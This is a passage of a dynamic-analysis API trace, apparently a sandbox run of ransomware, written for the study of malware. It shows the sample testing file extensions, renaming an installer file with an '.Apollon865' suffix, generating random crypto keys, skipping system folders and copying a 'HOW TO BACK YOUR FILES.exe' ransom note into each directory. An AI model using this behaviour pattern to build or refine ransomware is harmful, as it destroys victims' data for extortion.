	[0064.512] lstrlenW (lpString="his") returned 3
	[0064.512] lstrcmpiW (lpString1="msi", lpString2="his") returned 1
	[0064.512] lstrlenW (lpString="ib") returned 2
	[0064.512] lstrcmpiW (lpString1="si", lpString2="ib") returned 1
	[0064.512] lstrlenW (lpString="idb") returned 3
	[0064.512] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1
	[0064.512] lstrlenW (lpString="ihx") returned 3
	[0064.512] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1
	[0064.512] lstrlenW (lpString="itdb") returned 4
	[0064.512] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1
	[0064.512] lstrlenW (lpString="itw") returned 3
	[0064.512] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1
	[0064.512] lstrlenW (lpString="jet") returned 3
	[0064.512] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1
	[0064.512] lstrlenW (lpString="jtx") returned 3
	[0064.513] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1
	[0064.513] lstrlenW (lpString="kdb") returned 3
	[0064.513] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1
	[0064.513] lstrlenW (lpString="kexi") returned 4
	[0064.513] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1
	[0064.513] lstrlenW (lpString="kexic") returned 5
	[0064.513] lstrcmpiW (lpString1="4.msi", lpString2="kexic") returned -1
	[0064.513] lstrlenW (lpString="kexis") returned 5
	[0064.513] lstrcmpiW (lpString1="4.msi", lpString2="kexis") returned -1
	[0064.513] lstrlenW (lpString="lgc") returned 3
	[0064.513] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1
	[0064.513] lstrlenW (lpString="lwx") returned 3
	[0064.513] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1
	[0064.513] lstrlenW (lpString="maf") returned 3
	[0064.513] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1
	[0064.513] lstrlenW (lpString="maq") returned 3
	[0064.513] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1
	[0064.513] lstrlenW (lpString="mar") returned 3
	[0064.513] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1
	[0064.513] lstrlenW (lpString="marshal") returned 7
	[0064.513] lstrcmpiW (lpString1="x64.msi", lpString2="marshal") returned 1
	[0064.513] lstrlenW (lpString="mas") returned 3
	[0064.513] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1
	[0064.513] lstrlenW (lpString="mav") returned 3
	[0064.513] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1
	[0064.513] lstrlenW (lpString="maw") returned 3
	[0064.513] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1
	[0064.513] lstrlenW (lpString="mdbhtml") returned 7
	[0064.513] lstrcmpiW (lpString1="x64.msi", lpString2="mdbhtml") returned 1
	[0064.513] lstrlenW (lpString="mdn") returned 3
	[0064.513] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1
	[0064.513] lstrlenW (lpString="mdt") returned 3
	[0064.513] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1
	[0064.513] lstrlenW (lpString="mfd") returned 3
	[0064.514] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1
	[0064.514] lstrlenW (lpString="mpd") returned 3
	[0064.514] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1
	[0064.514] lstrlenW (lpString="mrg") returned 3
	[0064.514] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1
	[0064.514] lstrlenW (lpString="mud") returned 3
	[0064.514] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1
	[0064.514] lstrlenW (lpString="mwb") returned 3
	[0064.514] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1
	[0064.514] lstrlenW (lpString="myd") returned 3
	[0064.514] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1
	[0064.514] lstrlenW (lpString="ndf") returned 3
	[0064.514] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1
	[0064.514] lstrlenW (lpString="nnt") returned 3
	[0064.514] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1
	[0064.514] lstrlenW (lpString="nrmlib") returned 6
	[0064.514] lstrcmpiW (lpString1="64.msi", lpString2="nrmlib") returned -1
	[0064.514] lstrlenW (lpString="ns2") returned 3
	[0064.514] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1
	[0064.514] lstrlenW (lpString="ns3") returned 3
	[0064.514] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1
	[0064.514] lstrlenW (lpString="ns4") returned 3
	[0064.514] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1
	[0064.514] lstrlenW (lpString="nsf") returned 3
	[0064.514] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1
	[0064.514] lstrlenW (lpString="nv") returned 2
	[0064.514] lstrcmpiW (lpString1="si", lpString2="nv") returned 1
	[0064.514] lstrlenW (lpString="nv2") returned 3
	[0064.514] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1
	[0064.514] lstrlenW (lpString="nwdb") returned 4
	[0064.514] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1
	[0064.514] lstrlenW (lpString="nyf") returned 3
	[0064.514] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1
	[0064.514] lstrlenW (lpString="odb") returned 3
	[0064.515] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0064.515] lstrlenW (lpString="odb") returned 3
	[0064.515] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0064.515] lstrlenW (lpString="oqy") returned 3
	[0064.515] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1
	[0064.515] lstrlenW (lpString="ora") returned 3
	[0064.515] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1
	[0064.515] lstrlenW (lpString="orx") returned 3
	[0064.515] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1
	[0064.515] lstrlenW (lpString="owc") returned 3
	[0064.515] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1
	[0064.515] lstrlenW (lpString="p96") returned 3
	[0064.515] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1
	[0064.515] lstrlenW (lpString="p97") returned 3
	[0064.515] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1
	[0064.515] lstrlenW (lpString="pan") returned 3
	[0064.515] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1
	[0064.515] lstrlenW (lpString="pdb") returned 3
	[0064.515] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1
	[0064.515] lstrlenW (lpString="pdm") returned 3
	[0064.515] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1
	[0064.515] lstrlenW (lpString="pnz") returned 3
	[0064.515] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1
	[0064.515] lstrlenW (lpString="qry") returned 3
	[0064.515] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1
	[0064.515] lstrlenW (lpString="qvd") returned 3
	[0064.515] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1
	[0064.515] lstrlenW (lpString="rbf") returned 3
	[0064.515] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1
	[0064.515] lstrlenW (lpString="rctd") returned 4
	[0064.515] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1
	[0064.515] lstrlenW (lpString="rod") returned 3
	[0064.515] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1
	[0064.515] lstrlenW (lpString="rodx") returned 4
	[0064.515] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1
	[0064.516] lstrlenW (lpString="rpd") returned 3
	[0064.516] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1
	[0064.516] lstrlenW (lpString="rsd") returned 3
	[0064.516] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1
	[0064.516] lstrlenW (lpString="sas7bdat") returned 8
	[0064.516] lstrcmpiW (lpString1="_x64.msi", lpString2="sas7bdat") returned -1
	[0064.516] lstrlenW (lpString="sbf") returned 3
	[0064.516] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1
	[0064.516] lstrlenW (lpString="scx") returned 3
	[0064.516] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1
	[0064.516] lstrlenW (lpString="sdb") returned 3
	[0064.516] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1
	[0064.516] lstrlenW (lpString="sdc") returned 3
	[0064.516] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1
	[0064.516] lstrlenW (lpString="sdf") returned 3
	[0064.516] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1
	[0064.516] lstrlenW (lpString="sis") returned 3
	[0064.516] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1
	[0064.516] lstrlenW (lpString="spq") returned 3
	[0064.516] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1
	[0064.516] lstrlenW (lpString="te") returned 2
	[0064.516] lstrcmpiW (lpString1="si", lpString2="te") returned -1
	[0064.516] lstrlenW (lpString="teacher") returned 7
	[0064.516] lstrcmpiW (lpString1="x64.msi", lpString2="teacher") returned 1
	[0064.516] lstrlenW (lpString="tmd") returned 3
	[0064.516] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1
	[0064.516] lstrlenW (lpString="tps") returned 3
	[0064.516] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1
	[0064.516] lstrlenW (lpString="trc") returned 3
	[0064.516] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0064.516] lstrlenW (lpString="trc") returned 3
	[0064.516] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0064.516] lstrlenW (lpString="trm") returned 3
	[0064.516] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1
	[0064.516] lstrlenW (lpString="udb") returned 3
	[0064.517] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1
	[0064.517] lstrlenW (lpString="udl") returned 3
	[0064.517] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1
	[0064.517] lstrlenW (lpString="usr") returned 3
	[0064.517] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1
	[0064.517] lstrlenW (lpString="v12") returned 3
	[0064.517] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1
	[0064.517] lstrlenW (lpString="vis") returned 3
	[0064.517] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1
	[0064.517] lstrlenW (lpString="vpd") returned 3
	[0064.517] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1
	[0064.517] lstrlenW (lpString="vvv") returned 3
	[0064.517] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1
	[0064.517] lstrlenW (lpString="wdb") returned 3
	[0064.517] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1
	[0064.517] lstrlenW (lpString="wmdb") returned 4
	[0064.517] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1
	[0064.517] lstrlenW (lpString="wrk") returned 3
	[0064.517] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1
	[0064.517] lstrlenW (lpString="xdb") returned 3
	[0064.517] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1
	[0064.517] lstrlenW (lpString="xld") returned 3
	[0064.517] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1
	[0064.517] lstrlenW (lpString="xmlff") returned 5
	[0064.517] lstrcmpiW (lpString1="4.msi", lpString2="xmlff") returned -1
	[0064.517] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.Apollon865") returned 158
	[0064.517] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi.apollon865"), dwFlags=0x1) returned 1
	[0064.553] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0064.553] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=143360) returned 1
	[0064.553] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0064.557] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0064.557] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0064.557] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0064.558] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0064.558] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0064.558] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x23300, lpName=0x0) returned 0x150
	[0064.559] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x23300) returned 0x120000
	[0064.571] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0064.571] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0064.571] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0064.571] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0064.571] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0064.572] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0064.572] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0064.572] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0064.572] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0064.572] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0064.572] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0064.572] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0064.572] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0064.572] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0064.576] CloseHandle (hObject=0x150) returned 1
	[0064.576] CloseHandle (hObject=0x154) returned 1
	[0064.576] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0064.576] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0064.576] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0064.577] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36fed00, ftCreationTime.dwHighDateTime=0x1d28825, ftLastAccessTime.dwLowDateTime=0x36fed00, ftLastAccessTime.dwHighDateTime=0x1d28825, ftLastWriteTime.dwLowDateTime=0x36fed00, ftLastWriteTime.dwHighDateTime=0x1d28825, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0064.577] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0064.577] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc70
	[0064.577] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030"
	[0064.577] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a0c0 | out: hHeap=0x580000) returned 1
	[0064.577] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0064.577] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned 82
	[0064.577] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030"
	[0064.577] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0064.577] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0064.578] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0064.578] GetLastError () returned 0x0
	[0064.578] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0064.578] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0064.579] CloseHandle (hObject=0x15c) returned 1
	[0064.579] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0064.579] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0064.579] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f449930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f449930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0064.579] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0064.579] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0064.579] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0064.579] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f449930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f449930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0064.579] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0064.579] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0064.579] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0064.579] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0064.579] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f449930, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f449930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0064.579] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0064.579] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f449930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f449930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0064.579] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0064.579] lstrcmpiW (lpString1="packages", lpString2="Apollon865.txt.exe") returned 1
	[0064.579] lstrcmpiW (lpString1="packages", lpString2=".") returned 1
	[0064.579] lstrcmpiW (lpString1="packages", lpString2="..") returned 1
	[0064.580] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1
	[0064.580] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1
	[0064.580] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1
	[0064.580] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1
	[0064.580] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1
	[0064.580] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1
	[0064.580] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1
	[0064.580] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1
	[0064.580] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1
	[0064.580] lstrlenW (lpString="packages") returned 8
	[0064.580] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*") returned 84
	[0064.580] lstrcpyW (in: lpString1=0x119e6ae, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0064.580] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0064.580] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb8) returned 0x5c1458
	[0064.580] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc70 | out: ListHead=0x5b75f0, ListEntry=0x59fc70) returned 0x59fc50
	[0064.580] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f449930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f449930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0064.580] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0064.580] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc70
	[0064.580] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages"
	[0064.580] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0064.580] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0064.580] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned 91
	[0064.580] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages"
	[0064.580] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0064.580] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0064.581] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0064.581] GetLastError () returned 0x0
	[0064.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0064.581] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0064.581] CloseHandle (hObject=0x15c) returned 1
